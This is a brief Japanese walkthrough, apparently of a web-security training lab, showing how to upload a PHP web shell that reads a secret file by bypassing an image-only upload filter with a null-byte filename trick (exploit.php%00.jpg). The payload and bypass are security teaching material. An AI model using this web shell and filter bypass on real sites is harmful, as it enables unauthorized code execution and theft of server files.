Web shell upload via obfuscated file extension
wienerでログイン
アバター画像をアップし、My accountに戻ります

ヒストリーで、GET /files/avatars/xx.jpg
を確認
*フィルターで、imagesチェックON
リピータに送っておきます

exploit.phpというファイル名で、以下のファイルを作ります
<?php echo file_get_contents('/home/carlos/secret'); ?>
アバターからアップロード
Sorry, only JPG & PNG files are allowed Sorry, there was an error uploading your file.
のエラー
jpg / pngのみ許可とのこと

ヒストリーで、 POST /my-account/avatar をみつけ、リピータに

Content-Disposition: form-data; name=”avatar”; filename=”exploit.php”
を
Content-Disposition: form-data; name=”avatar”; filename=”exploit.php%00.jpg”
に書き換えて、send
アップロード成功

%00は、ヌルバイト
拡張子チェック終わったあと、取り除かれ、.phpファイルとしてアップされたようです。
最初にリピータに渡したタブに
ファイル名を、exploit.phpにして
send

phpファイルが実行されたようです
秘密の文字を、Submit solutionにいれて、クリア

–)v
コメント